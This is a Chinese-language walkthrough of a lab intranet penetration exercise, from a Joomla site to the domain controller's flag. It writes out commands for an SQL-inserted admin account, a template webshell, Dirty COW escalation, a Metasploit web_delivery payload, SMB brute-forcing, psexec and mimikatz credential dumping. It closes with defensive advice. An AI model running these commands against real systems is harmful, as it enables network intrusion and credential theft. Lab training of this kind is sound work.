一次简单的内网渗透靶场实战2
字数 1992 2025-08-05 08:19:40
内网渗透靶场实战教学文档
环境概述
网络拓扑
- 攻击机: Kali Linux (192.168.1.10)
- 靶场环境:
- CentOS(外): 192.168.1.110 (反向代理主机)
- CentOS(内): 192.168.93.100
- Ubuntu: 192.168.93.120
- 域内主机:
- Winserver2012 (域控): 192.168.93.10
- Winserver2008: 192.168.93.20
- Windows7: 192.168.93.30
初始条件
- 黑盒测试,无任何账户密码信息
- 目标:获取域控(192.168.93.10)中的flag
渗透测试流程
第一阶段:外网渗透
1. 信息收集
- 使用nmap扫描外网CentOS(192.168.1.110):
nmap -T4 -sC -sV 192.168.1.110- 开放端口:22(SSH)、80(HTTP)、3306(MySQL)
- Web服务使用Joomla框架
2. Web应用测试
- 尝试Joomla 3.4.6及以下版本的RCE漏洞,失败
- 扫描后台目录发现:
- /administrator - Joomla后台登录
- /configuration.php - 包含数据库凭据
3. 数据库访问
- 使用Navicat连接MySQL(192.168.1.110:3306)
- 用户名/密码从configuration.php获取
- 发现
umnbt_users表,但密码为加密形式
4. Joomla管理员账户创建
- 通过SQL语句添加管理员账户:
INSERT INTO `umnbt_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', '$2y$10$92XjZQY8Qd19nZOXgXUy5O4H7jG1UQYQjZJYd3JYd3JYd3JYd3JYd', '', NOW(), NOW(), NOW()); INSERT INTO `umnbt_user_usergroup_map` (`user_id`, `group_id`) VALUES (LAST_INSERT_ID(), 8);- 账户:admin2/secret
5. 获取Webshell
- 登录Joomla后台(admin2/secret)
- 通过模板编辑功能插入PHP代码:
- 路径:Extensions > Template > Templates > Beez3
- 插入变形的一句话木马
6. 绕过disable_functions
- 使用蚁剑插件绕过限制
- 上传绕过脚本(.antproxy.php)失败后,改用Python脚本通过参数执行命令
第二阶段:内网发现
1. 网络环境分析
ifconfig显示内网IP(192.168.93.0/24)arp -a确认内网网段- 确认Nginx反向代理架构:
- 外网IP(192.168.1.110)为反向代理
- 真实服务器在内网(192.168.93.0/24)
2. 获取SSH访问
- 在缓存目录发现test.txt包含SSH凭据
- 连接SSH(192.168.1.110)获得反向代理主机访问权限
3. 权限提升
- 使用脏牛(Dirty COW)漏洞提权:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty 123456- 创建高权限用户firefart/123456
第三阶段:内网横向移动
1. 建立持久访问
- 使用MSF生成Linux payload:
use exploit/multi/script/web_delivery set lhost 192.168.1.10 set lport 4444 set target 7 run
2. 内网代理配置
- 添加路由:
route add 192.168.93.0 255.255.255.0 1 - 设置SOCKS代理:
use auxiliary/server/socks_proxy set version 4a run - 配置proxychains:
vim /etc/proxychains.conf
3. 内网扫描
- 使用MSF扫描内网主机:
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.1-255 set threads 20 run - 发现三台主机:
- 192.168.93.10 (域控): 开放88(Kerberos)、389(LDAP)端口
- 192.168.93.20: 开放1433(MSSQL)
- 192.168.93.30: 普通域成员
4. 密码枚举
- 使用smb_login模块爆破192.168.93.20:
use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser Administrator set PASS_FILE /tmp/1W.txt run- 获取密码:123qwe!ASD
5. 横向移动
- 使用psexec获取cmd:
psexec64.exe \\192.168.93.20 cmd - 使用mimikatz抓取凭证:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"- 获取域管凭据:Administrator/zxcASDqw123!!
第四阶段:域控攻陷
1. 访问域控
- 使用IPC$连接域控(192.168.93.10):
net use \\192.168.93.10\IPC$ /user:Administrator zxcASDqw123!!
2. 获取flag
- 查看域控文件:
dir \\192.168.93.10\C$\users\Administrator\Documents type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
关键技术点总结
-
Joomla漏洞利用:
- 通过配置文件泄露获取数据库凭据
- 使用SQL添加管理员账户
-
Webshell获取:
- 利用模板编辑功能插入恶意代码
- 绕过disable_functions限制
-
Nginx反向代理分析:
- 识别真实内网IP段
- 理解反向代理架构
-
Linux提权:
- 脏牛(Dirty COW)漏洞利用
- 创建高权限用户
-
内网渗透技术:
- MSF路由和SOCKS代理配置
- 内网主机发现和端口扫描
- SMB密码爆破
-
横向移动技术:
- psexec使用
- mimikatz凭证提取
- IPC$连接利用
-
域控访问:
- 使用获取的域管凭据直接访问域控
- 查找和读取敏感文件
防御建议
-
Web应用安全:
- 及时更新CMS和插件
- 删除不必要的配置文件
- 限制数据库权限
-
系统安全:
- 及时修补已知漏洞(如脏牛)
- 禁用不必要的服务
- 使用强密码策略
-
网络架构:
- 合理配置反向代理
- 实施网络分段
- 监控异常连接
-
域安全:
- 限制域管账户使用
- 启用LSA保护
- 监控敏感文件访问
通过本案例可以全面了解从外网渗透到内网横向移动,最终获取域控权限的完整流程,掌握常见的内网渗透技术和工具使用方法。